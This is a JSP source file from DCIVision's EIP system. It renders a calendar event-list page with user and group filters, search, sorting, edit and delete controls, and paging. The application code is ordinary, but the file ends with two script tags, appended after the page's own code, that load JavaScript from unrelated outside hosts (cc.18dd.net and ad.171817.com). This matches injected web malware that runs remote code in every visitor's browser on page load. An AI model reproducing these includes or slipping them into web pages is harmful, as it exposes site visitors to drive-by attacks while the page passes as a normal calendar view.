<%
/*
 * @(#)IncludeListEvent.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  IncludeListEvent.jsp

  This is a IncludeListEvent page.  It shows the active event' record in EIP.

    @author             Jenny Li
    @company            DCIVision Ltd
    @creation date      07/12/2003
    @version            $Revision: 1.19.4.7 $
*/

%>

<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.*"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="java.sql.*"%>
<%@ page import="com.dcivision.calendar.web.*"%>
<%@ page import="com.dcivision.calendar.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.alert.dao.*"%>
<%@ page import="com.dcivision.alert.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listCalendarRecordForm" scope="request" class="com.dcivision.calendar.web.ListCalendarRecordForm"/>
<%
/****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
String LIST_NAME="newEventList";

String[][]  LABEL_MAP = {   {"ID", "ID"},
                            {"calendar.columnheader.title", GlobalConstant.NOT_AVAILABLE},
                            {"calendar.columnheader.priority", "priority"},
                            {"calendar.columnheader.type", GlobalConstant.NOT_AVAILABLE},
                            {"calendar.columnheader.start_date", "datetime"},
                            {"calendar.columnheader.end_date","endtime"},
                            {"common.columnheader.update_date", "update_date"},
                            {"common.columnheader.updater", "updater_id"}
                          };

String[][] SEARCH_MAP ={{"calendar.columnheader.title", "title"},
                  {"calendar.columnheader.priority", "priority"}
                 };
/*
 *  Update Code Start
 *  Author              Jim.Zhou
 *  Date                    2006/05/29
 *  Bug                     #3643
 */
String[][] CALENDARTYPE_MAP ={{"common.list.record_from",""},
                  {"common.priority.label_1", "1"},
                  {"common.priority.label_2", "2"},
                  {"common.priority.label_3", "3"}
                 };
/*
 *  Update Code End
 */

int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
    Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);


  GregorianCalendar gCal = new GregorianCalendar() ;
  int currentDay = gCal.get(GregorianCalendar.DAY_OF_MONTH) ;
  int currentMonth = gCal.get(GregorianCalendar.MONTH) + 1 ;
  int currentYear = gCal.get(GregorianCalendar.YEAR) ;
  int weekDay = gCal.get(GregorianCalendar.DAY_OF_WEEK) ;
  int startOfMonth = gCal.getActualMinimum(GregorianCalendar.DAY_OF_MONTH) ;
  int endOfMonth = gCal.getActualMaximum(GregorianCalendar.DAY_OF_MONTH) ;

  int selectedDay = currentDay;
  int selectedMonth = currentMonth;
  int selectedYear = currentYear;
  if (session.getAttribute("CALENDAR_SELECTED_DATE")!=null){
    Calendar selectedDateInSession = (Calendar)session.getAttribute("CALENDAR_SELECTED_DATE");
    selectedDay = selectedDateInSession.get(Calendar.DAY_OF_MONTH);
    selectedMonth = selectedDateInSession.get(Calendar.MONTH)+1;
    selectedYear = selectedDateInSession.get(Calendar.YEAR);
  }
  Integer selectedUserID = sessionContainer.getUserRecordID();
  Integer selectedGroupID = new Integer(0);

  if (session.getAttribute("CALENDAR_SELECTED_USERID")!=null)
    selectedUserID = (Integer)session.getAttribute("CALENDAR_SELECTED_USERID");
    if (session.getAttribute("CALENDAR_SELECTED_GROUPID")!=null)
    selectedGroupID = (Integer)session.getAttribute("CALENDAR_SELECTED_GROUPID");

  //add the "-- All Event --" & user self into the calendarRecord_userList
  ArrayList userList = (ArrayList)request.getAttribute("calendarRecord_userList");
  UserRecord defaultSelection = new UserRecord();
  defaultSelection.setID(new Integer("-1"));
  defaultSelection.setFirstName("     --- "+MessageResourcesFactory.getMessage(
    sessionContainer.getSessionLocale(),"calendar.label.all_event")+" ---     ");
  userList.add(0,defaultSelection);

  UserRecord selfSelection = new UserRecord();
  selfSelection.setID(sessionContainer.getUserRecordID());
  selfSelection.setFirstName(sessionContainer.getUserFullName());
  userList.add(1,selfSelection);
  request.setAttribute("userList",userList);

  //add the "-- All Group --" into the allGroupList
  ArrayList groupList = (ArrayList)request.getAttribute("allGroupList");
  UserGroup defaultGroupSelection = new UserGroup();
  defaultGroupSelection.setID(new Integer("-1"));
  defaultGroupSelection.setGroupName("--- "+MessageResourcesFactory.getMessage(
    sessionContainer.getSessionLocale(),"calendar.label.all_groups")+" ---");
  groupList.add(0,defaultGroupSelection);
  request.setAttribute("groupList",groupList);

  String[] value = Utility.getStringArray(Utility.getPropertyArray(userList,"ID",new Integer[0]));
  String[] userName = (String[])Utility.getPropertyArray(userList,"firstName",new String[0]);

  // Set 'selectedUserID' to logined userID if the selected userID doesn't have events in the selected period
  List tempList = Utility.getList(Utility.getPropertyArray(userList,"ID",new Integer[0]));
  if (!tempList.contains(selectedUserID))
    selectedUserID = sessionContainer.getUserRecordID();

  UpdateAlertDAObject updateAlertDAO  = new UpdateAlertDAObject(sessionContainer, conn);
  List updateAlertList = new ArrayList();


%>
<script language="javascript">
function OpSearch(frm, sortValue, sortOrder) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }

  frm.sortAttribute.value = sortValue;
  frm.sortOrder.value = sortOrder;
  frm.curStartRowNo.value = 1;

  frm.opMode.value ="";
  frm.navMode.value ="<%=CalendarRecord.NAV_MODE_LIST_EVENT%>";
  frm.submit();
  return false;
}

function OpReset(frm) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }
  //frm.sortAttribute.value = '';
  //frm.sortOrder.value = '';
  frm.basicSearchField.value = 'title';
  /*
   *    Update Code Start
   *    Author              Jim.Zhou
   *    Date                    2006/05/29
   *    Bug                     #3643
   */
  frm.basicSearchKeyword[0].value = '';
  frm.basicSearchKeyword[1].value = '';
  frm.basicSearchType.value='LIKE';
  /*
   *    Update Code End
   */
  frm.curStartRowNo.value = 1;

  frm.navMode.value = "<%=CalendarRecord.NAV_MODE_LIST_EVENT%>";
  frm.submit();
  return false;
} // end of the 'OpListReset()' function

function OpEventDelete(frm) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }
  var hasChecked = false;

  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID") {
      if (frm.elements[i].checked) {
        hasChecked = true;
        break;
      }
    }
  }

  if (!hasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
  }

  if (!confirm("<bean:message key='common.message.confirm_delete_records'/>")) {
    return(false);
  }

  frm.opMode.value = OP_MODE_LIST_DELETE;
  frm.navMode.value = "<%=CalendarRecord.NAV_MODE_LIST_EVENT%>";
  frm.submit();
  return(false);
} // end of the 'OpDelete()' function
function changeUser() {
  document.listCalendarRecordForm.selectedGroupID.value = document.listCalendarRecordForm.userGroupID.value;
  document.listCalendarRecordForm.selectedUserID.value = document.listCalendarRecordForm.userRecordID.value;
  document.listCalendarRecordForm.submit();
}
function changeSearchType(obj){
  var frm = document.listCalendarRecordForm;
  if(obj.value=="priority"){
    frm.basicSearchKeyword[0].style.display="none";
    frm.basicSearchKeyword[1].style.display="";
    frm.basicSearchKeyword[0].disabled=true;
    frm.basicSearchKeyword[1].disabled=false;
    frm.basicSearchKeyword[0].value="";
  } else {
    frm.basicSearchKeyword[0].style.display="";
    frm.basicSearchKeyword[1].style.display="none";
    frm.basicSearchKeyword[0].disabled=false;
    frm.basicSearchKeyword[1].disabled=true;
    frm.basicSearchKeyword[1].value="";
  }
}
</script>
<!-- Form Section Begin -->
<!--<html:form type="listCalendarRecordForm" action="/calendar/ListCalendar" method="POST">-->
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<input type="hidden" name="selectedGroupID" value="">
<input type="hidden" name="selectedUserID" value="">
<!-- Page Title Section Begin -->
<!--font class="pageTitle"><layout:pageTitle/></font-->
<!-- Page Title Section End -->
<%
String defaultSelectedUserID = sessionContainer.getUserRecordID().toString();
if (!Utility.isEmpty(session.getAttribute("CALENDAR_SELECTED_USERID") )) {
  defaultSelectedUserID = ((Integer)session.getAttribute("CALENDAR_SELECTED_USERID")).toString();
}

%>
<!-- View Panel Begin -->
<table cellpadding="2" cellspacing="0" border="0" width="100%" height="40" background="<html:img src='LayoutFinderBg.gif'  pathOnly='true'/>">
  <tr>
    <td>
    <font class='sectionHeader'><b><bean:message key='calendar.label.view'/>:</b></font>&nbsp;
    <select name="userGroupID" onchange='changeUser()'>
    <%for(int i=0;i<groupList.size();i++){%>
    <option value="<%=((UserGroup)groupList.get(i)).getID()%>" <%=(((UserGroup)groupList.get(i)).getID().equals(selectedGroupID))?"selected":""%>><%=((UserGroup)groupList.get(i)).getGroupName()%></option>
    <%}%>
    </select>
    <select name="userRecordID"  onchange='changeUser()' value="<%=defaultSelectedUserID%>" >
    <%for(int i=0;i<userList.size();i++){%>
    <option value="<%=((UserRecord)userList.get(i)).getID()%>" <%=((UserRecord)userList.get(i)).getID().equals(selectedUserID)?"selected":""%>><%=((UserRecord)userList.get(i)).getFirstName()%></option>
    <%}%>
    </select>

    </td>
  </tr>
</table>
<!-- View Panel End-->

<!-- System And Error Messages Begin -->
<table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
</td></tr></table>
<!-- System And Error Messages End -->
<!-- Tab Folder begin -->
<table width="100%" border="0" cellspacing="0" cellpadding="0" >
  <tr >
    <td >
      <a href="ListCalendar.do?navMode=<%=CalendarRecord.NAV_MODE_LIST_BY_DAY%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>" ><html:img src='TabDailyOff.gif'/></a><a href="ListCalendar.do?navMode=<%=CalendarRecord.NAV_MODE_LIST_BY_WEEK%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>" ><html:img src='TabWeeklyOff.gif'/></a><a href="ListCalendar.do?navMode=<%=CalendarRecord.NAV_MODE_LIST_BY_MONTH%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>" ><html:img src='TabMonthlyOff.gif'/></a><a href="ListCalendar.do?navMode=<%=CalendarRecord.NAV_MODE_LIST_TODO%>" ><html:img src='TabToDoOff.gif'/></a><html:img src='TabEventOn.gif'/></td>
    <td align='right'>
      <html:standardButton label="common.label.sharingdefault" link="MaintCalendarShare.do?navMode=E&oldNavMode=LE"/>
    </td>
  </tr>
  <tr align="left" valign="top">
    <td class="greyD" align="left" valign="top" colspan='2'><html:img src='LayoutSpacer.gif'   width='1' height='5'/></td>
  </tr>
</table>
<!-- Tab Folder end -->
<!-- Search Panel Begin -->
<%
/*
 *  Update Code Start
 *  Author              Jim.Zhou
 *  Date                    2006/05/22
 *  Bug                     #5110
 */
%>
<table cellpadding="2" cellspacing="0" border="0" width="100%" height="40" background="<html:img src='LayoutFinderBg.gif'  pathOnly='true'/>" onkeypress="if (window.event.keyCode==13) OpSearch(document.listCalendarRecordForm, '<bean:write name='listCalendarRecordForm' property='sortAttribute' replace=''/>', '<bean:write name='listCalendarRecordForm' property='sortOrder' replace=''/>')">
<%
/*
 *  Update Code End
 */
%>
  <tr>
    <td width="80">
    <nobr>&nbsp;&nbsp;<html:img src='IconFinder.gif' /><b>&nbsp;<bean:message key='common.label.search'/></b></nobr>
    </td>
    <td>
      <html:select property="basicSearchField" onchange="changeSearchType(this)">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
      <html:select property='basicSearchType'>
             <html:options listName='criteriaList'/>
            </html:select>
      <html:text property='basicSearchKeyword' size='25' maxlength='100'/>
      <html:select property="basicSearchKeyword" disabled="true" style="display:none">
      <html:options stringArray='<%=CALENDARTYPE_MAP%>'/>
      </html:select>
      <a href="#" onClick="return(OpSearch(document.listCalendarRecordForm, '<bean:write name='listCalendarRecordForm' property='sortAttribute' replace=''/>', '<bean:write name='listCalendarRecordForm' property='sortOrder' replace=''/>'))">
            <html:img src="ButtonGo.gif" align='absmiddle'/></a>
      <a href="#" onClick="return(OpReset(document.listCalendarRecordForm))">
             <html:img src="ButtonReset.gif" align='absmiddle'/></a>
  </td>
  </tr>
</table>
<!-- Search Panel End -->
<br>
<!-- Table Heading Begin -->
<table cellpadding="3" cellspacing="0" border="0" width="100%">
  <tr>
    <td>
      <html:permissionButton label="calendar.label.newmeeting" right="I" link='<%="MaintCalendar.do?eventType=" + CalendarRecord.EVENT_TYPE_CALENDAR_EVENT + "&listName=" + LIST_NAME + "&oldNavMode=" + CalendarRecord.NAV_MODE_LIST_EVENT%>'/>
    </td>
    <td align="right">&nbsp;

    </td>
  </tr>
</table>
<!-- Table Heading End -->
<!-- Table Showing Record List Begin -->
<table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listCalendarRecordForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listCalendarRecordForm.getSortAttribute()%>" sortOrder="<%=listCalendarRecordForm.getSortOrder()%>" copyColumn="false" navMode="<%=CalendarRecord.NAV_MODE_LIST_EVENT%>"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
         <%ArrayList tmpResult=(ArrayList)request.getAttribute(LIST_NAME);
         int    tmpSize=tmpResult.size(); %>
  <logic:iterate id='eventRecord' name='<%=LIST_NAME%>' scope='request' indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)eventRecord).getID()%>);">
    <td valign="top" align="center">
    <%if (((AbstractBaseObject)eventRecord).getID().intValue()>0 && ((CalendarRecord)eventRecord).getCreatorID().toString().
     equals(sessionContainer.getUserRecordID().toString())) {%>
      <logic:permission right='D'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='eventRecord' property='ID'/>|<bean:write name='eventRecord' property='eventType'/>"  <%if (tmpSize==1) { %> onclick="return(false);" <%}%>>
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
    <%} else {%>
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
    <%}%>
    </td>
    <td valign="top" align="center">
     <%if(((CalendarRecord)eventRecord).getCreatorID().toString().
     equals(sessionContainer.getUserRecordID().toString())) {   %>
      <logic:permission right='E'>
      <a href="MaintCalendar.do?navMode=E&ID=<bean:write name='eventRecord' property='ID'/>&eventType=<bean:write name='eventRecord' property='eventType'/>&listName=<%=LIST_NAME%>&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_EVENT%>"><html:img src='IconEdit.gif'  align='absmiddle'/></a>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </logic:permission><%}else{%>
    <html:img src='IconEditDisable.gif'  align='absmiddle'/><%}%>
    </td>
    <td valign="top">
  <%if(((CalendarRecord)eventRecord).getCreatorID().toString().equals(sessionContainer.getUserRecordID().toString())) {%>
  <a href="MaintCalendar.do?navMode=V&ID=<bean:write name='eventRecord' property='ID'/>&eventType=<bean:write name='eventRecord' property='eventType'/>&listName=<%=LIST_NAME%>&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_EVENT%>">
  <font class="calendar_own_event">
  <bean:write name="eventRecord" property="title"/>
  </font></a>
  <%}else{//Add By Jim.Zhou 2006/07/05      Bug #5764
    if (((CalendarRecord)eventRecord).getIsInvitation()){
  %>
    <a href="MaintCalendar.do?navMode=V&ID=<bean:write name='eventRecord' property='ID'/>&eventType=<bean:write name='eventRecord' property='eventType'/>&listName=<%=LIST_NAME%>&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_EVENT%>">
    <font class="calendar_others_meeting">
    <bean:write name="eventRecord" property="title"/>
    </font></a>
  <%    //Add End
     } else if(((CalendarRecord)eventRecord).getShareType().
      equals(CalendarRecord.SHARE_TYPE_PUBLIC)){
  %>
  <a href="MaintCalendar.do?navMode=V&ID=<bean:write name='eventRecord' property='ID'/>&eventType=<bean:write name='eventRecord' property='eventType'/>&listName=<%=LIST_NAME%>&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_EVENT%>">
  <font class="calendar_others_event">
  <bean:write name="eventRecord" property="title"/>
  </font></a>
  <%}else if(((CalendarRecord)eventRecord).getShareType().
    equals(CalendarRecord.SHARE_TYPE_SHOW_TITLE)){
  %>
    <font class="calendar_others_event">
  <bean:write name="eventRecord" property="title"/>
  <%}}%>
  </font>
  </td>
    <td valign="top" align="center">
   <%if(GlobalConstant.PRIORITY_HIGH.equals(((CalendarRecord)eventRecord).getPriority())){%>
            <html:img src='IconPriorityHigh.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_3"))%>'/>
            <%}%>
            <%if(GlobalConstant.PRIORITY_MEDIUM.equals(((CalendarRecord)eventRecord).getPriority())){%>
            <html:img src='IconPriorityMedium.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_2"))%>'/>
            <%}%>
            <%if(GlobalConstant.PRIORITY_LOW.equals(((CalendarRecord)eventRecord).getPriority())){%>
            <html:img src='IconPriorityLow.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_1"))%>'/>
            <%}%>
  </td>
    <td valign="top" align="center">
     <%if(((CalendarRecord)eventRecord).getEventType().
      equals(CalendarRecord.EVENT_TYPE_CALENDAR_EVENT)){%>
    <bean:message key="calendar.label.event_calendar_event"/><%}%>
     <%if(((CalendarRecord)eventRecord).getEventType().
      equals(CalendarRecord.EVENT_TYPE_CALENDAR_MEETING)){%>
    <bean:message key="calendar.label.event_calendar_meeting"/><%}%>
  </td>
    <td valign="top"><bean:write name="eventRecord" property="datetime" format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td valign="top"><bean:write name="eventRecord" property="endtime" format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td valign="top"><bean:write name="eventRecord" property="updateDate" format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td valign="top"><bean:write name="eventRecord" property="updaterName"/></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->

<layout:pager form="listCalendarRecordForm" name='<%=LIST_NAME%>'>
  <tr class="listContent">
    <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET%>">
      <table width="100%" cellpadding="0" cellspacing="0" border="0">
        <tr>
          <td width="200">
            <html:permissionButton label="common.label.delete" right="D" onClick="return(OpEventDelete(document.listCalendarRecordForm))"/>
          </td>
          <td align="center">
            <layout:pagerInfo/>
          </td>
          <td width="200" align="right">
            <nobr><layout:pagerIndex navMode="<%=CalendarRecord.NAV_MODE_LIST_EVENT%>"/></nobr>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  </layout:pager>


  <!-- Pager Information End -->
</table></table>
<!--</html:form>-->

<!-- Form Section End -->
<script language="javascript">
changeSearchType(document.listCalendarRecordForm.basicSearchField);
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>